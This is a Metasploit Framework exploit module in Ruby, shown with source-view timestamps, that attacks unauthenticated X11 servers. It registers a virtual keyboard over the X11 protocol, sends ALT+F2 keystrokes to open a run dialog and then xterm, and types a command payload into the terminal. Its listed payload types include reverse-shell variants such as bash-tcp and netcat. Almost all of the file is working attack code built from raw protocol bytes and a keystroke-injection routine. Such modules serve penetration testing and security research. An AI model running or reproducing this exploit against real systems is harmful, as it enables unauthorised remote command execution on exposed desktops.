metasploit-framework/modules/exploits/unix/x11/x11_keyboard_exec.rb

254 lines
6.5 KiB
Ruby
Raw Normal View History

2015-07-10 06:57:54 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
KB_KEYS = {
'1' => "\x0a",
'2' => "\x0b",
'3' => "\x0c",
'4' => "\x0d",
'5' => "\x0e",
'6' => "\x0f",
'7' => "\x10",
'&' => "\x10",
'8' => "\x11",
'9' => "\x12",
'(' => "\x12",
'0' => "\x13",
')' => "\x13",
'-' => "\x14",
'=' => "\x15",
'q' => "\x18",
'w' => "\x19",
'e' => "\x1a",
'r' => "\x1b",
't' => "\x1c",
'y' => "\x1d",
'u' => "\x1e",
'i' => "\x1f",
'o' => "\x20",
'p' => "\x21",
'[' => "\x22",
'{' => "\x22",
']' => "\x23",
'}' => "\x23",
'a' => "\x26",
's' => "\x27",
'd' => "\x28",
'f' => "\x29",
'g' => "\x2a",
'h' => "\x2b",
'j' => "\x2c",
'k' => "\x2d",
'l' => "\x2e",
';' => "\x2f",
':' => "\x2f",
"'" => "\x30",
'"' => "\x30",
'`' => "\x31",
'~' => "\x31",
'lshift' => "\x32",
'\\' => "\x33",
'|' => "\x33",
'z' => "\x34",
'x' => "\x35",
'c' => "\x36",
'v' => "\x37",
'b' => "\x38",
'n' => "\x39",
'm' => "\x3a",
',' => "\x3b",
'<' => "\x3b",
'.' => "\x3c",
'>' => "\x3c",
'/' => "\x3d",
'*' => "\x3f",
'alt' => "\x40",
' ' => "\x41",
'f2' => "\x44"
}
def initialize(info = {})
super(update_info(info,
2015-09-02 09:55:20 +00:00
'Name' => 'X11 Keyboard Command Injection',
2015-07-10 06:57:54 +00:00
'Description' => %q{
This module exploits open X11 servers by connecting and registering a
virtual keyboard. The virtual keyboard is used to open an xterm terminal
and type and execute the specified payload.
},
'Author' =>
[
'xistence <xistence[at]0x90.nl>'
],
'Privileged' => false,
'License' => MSF_LICENSE,
'Payload' =>
{
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd cmd_bash',
'RequiredCmd' => 'gawk bash-tcp python telnet netcat'
}
},
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' => [['Automatic', {}]],
'DisclosureDate' => 'Jul 10 2015',
'DefaultTarget' => 0))
register_options(
[
2015-09-02 09:55:20 +00:00
Opt::RPORT(6000),
OptInt.new('TIME_WAIT', [ true, 'Time to wait for opening GUI windows', 5])
2015-07-10 06:57:54 +00:00
], self.class)
end
def press_key( key )
req = "\x8e\x02\x09\x00"
req << "\x02"
req << key
req << "\x01" # Press key
req << "\x00" * 8
req << "\x00\x05\x00\x05"
req << "\x00\x91\x01\x04"
req << "\x00\x03\x00\x02"
req << "\x00" * 4
req << "\x00\x07\x00\x07"
req << "\x00\x2b\x00\x01"
req << "\x00"
sock.put(req)
res = sock.recv(1024)
# Response should give 1 on first byte (Success)
unless res and res[0] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error pressing key: #{key}")
end
end
def release_key( key )
req = "\x8e\x02\x09\x00"
req << "\x03"
req << key
req << "\x00" # Release key
req << "\x00" * 4
req << "\x00\x08\x01\x00"
req << "\x00" * 8
req << "\x00\x00\x00\x02"
req << "\x00" * 4
req << "\x00\x07\x00\x07"
req << "\x00\x2b\x00\x01"
req << "\x00"
sock.put(req)
res = sock.recv(1024)
# Response should give 1 on first byte (Success)
unless res and res[0] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Error releasing key: #{key}")
end
end
def type_command( command )
# Specify the special keys which need to have shift pressed first to type
specialkeys = '<>{}|"&()'.chars.to_a
values = command.chars.to_a
values.each do |value|
key = KB_KEYS[value]
# Special keys need a shift pressed to be typed
if Regexp.union(specialkeys) =~ value
press_key(KB_KEYS["lshift"]) # [lshift]
press_key(key)
release_key(KB_KEYS["lshift"])
release_key(key)
# Uppercase characters need to be converted to lowercase and be typed in combination with the shift key to generate uppercase
elsif value =~ /[A-Z]/
press_key(KB_KEYS["lshift"]) # [lshift]
press_key(KB_KEYS[value.downcase])
release_key(KB_KEYS["lshift"])
release_key(KB_KEYS[value.downcase])
# All normal keys which are not special keys or uppercase characters
else
press_key(key)
release_key(key)
end
end
# Send an enter
press_key( "\x24" ) # [enter]
release_key( "\x24" ) # [enter]
end
def exploit
begin
connect
print_status("#{rhost}:#{rport} - Register keyboard")
req = "\x6c" # Byte order (Little-Endian)
req << "\x00" # Unused
req << "\x0b\x00" # Protocol major version: 11
req << "\x00\x00" # Protocol minor version: 0
req << "\x00\x00" # Authorization protocol name length: 0
req << "\x00\x00" # Authorization protocol data length: 0
req << "\x00\x00" # Unused
# Keyboard registration
req << "\x62\x00\x05\x00\x09\x00\x60\x03"
req << "XKEYBOARD"
req << "\x00"
req << "\x00\x00"
sock.put(req)
# Retrieve the whole X11 details response
res = sock.recv(4096)
# Response should give 0x01 in first byte (Success)
unless res and res[0] == "\x01"
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Registering keyboard failed")
end
# Press ALT+F2 to start up "Run application"
print_status("#{rhost}:#{rport} - Opening \"Run Application\"")
press_key(KB_KEYS["alt"])
press_key(KB_KEYS["f2"])
release_key(KB_KEYS["alt"])
release_key(KB_KEYS["f2"])
2015-09-02 09:55:20 +00:00
# Wait X seconds to open the dialog
select(nil, nil, nil, datastore['TIME_WAIT'])
2015-07-10 06:57:54 +00:00
# Start a xterm terminal
print_status("#{rhost}:#{rport} - Opening xterm")
type_command("xterm")
2015-09-02 09:55:20 +00:00
# Wait X seconds to open the terminal
select(nil, nil, nil, datastore['TIME_WAIT'])
2015-07-10 06:57:54 +00:00
# "Type" our payload and execute it
print_status("#{rhost}:#{rport} - Typing and executing payload")
command = "nohup #{payload.encoded} &2>/dev/null;exit"
type_command(command)
handler
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
print_error("#{rhost}:#{rport} - #{e.message}")
ensure
disconnect
end
end
end